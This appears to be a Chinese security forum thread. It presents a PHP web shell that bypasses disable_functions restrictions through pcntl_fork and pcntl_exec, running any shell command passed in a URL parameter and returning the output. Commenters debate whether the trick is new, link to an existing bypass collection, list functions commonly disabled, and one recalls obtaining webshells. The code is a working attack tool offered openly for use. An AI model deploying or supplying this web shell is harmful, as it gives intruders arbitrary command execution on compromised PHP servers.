php绕过大部分禁用函数限制执行命令
大部分被禁用的是这些函数,然而泄露了一个pcntl
被禁用的函数(disable_functions): passthru exec system chroot chgrp
chown shell_exec proc_open proc_get_status popen
ini_alter ini_restore dl openlog syslog
readlink symlink popepassthru stream_socket_server
<?php
header("Content-Type: text/plain");
$cmd="/tmp/exec";
@unlink($cmd);
$c = "#!/usr/bin/env bash\n".$_GET[x]."> /tmp/output.txt\n";
file_put_contents($cmd, $c);
chmod($cmd, 0777);
$cd="/tmp/output.txt";
print_r(file_get_contents($cd));
switch (pcntl_fork()) {
case 0:
$ret = pcntl_exec($cmd);
exit("case 0");
default:
echo "case 1";
break;
}
水文
php7.1 fpm 默认配置:

windows下可行?
这个不喷真的不行,像这种很久前就有的东西直接拿来发有意义吗:
https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/bypass_function.md
@postma****@lanme 不是的呀,我这边 Ubuntu apt 直接装的 libapache2-mod-php 呀,不知道您说的一键安装指的是。。。
@王一航 也就你禁用, 一键安装环境没有禁用的,所以我这个有用,当然了不用拉倒
但是这个函数是默认禁用的啊...
@land**** 然而还是没有禁用pcntl
大部分禁用的可能是这些函数:system
shell_exec
passthru
exec
popen
proc_open
pcntl_exec
mail
ini_set
putenv
apache_setenv
mb_send_mail
assert
dl
set_time_limit
ignore_user_abort
symlink
link
chgrp
chown
proc_get_status
ini_alter
ini_restore
openlog
syslog
readlink
stream_socket_server
fsocket
pfsockopen
get_current_user
opendir
show_source
curl_exec
curl_multi_exec
parse_ini_file
highlight_file
虽然现在好久都没有去拿webshell了,但是还是收藏下。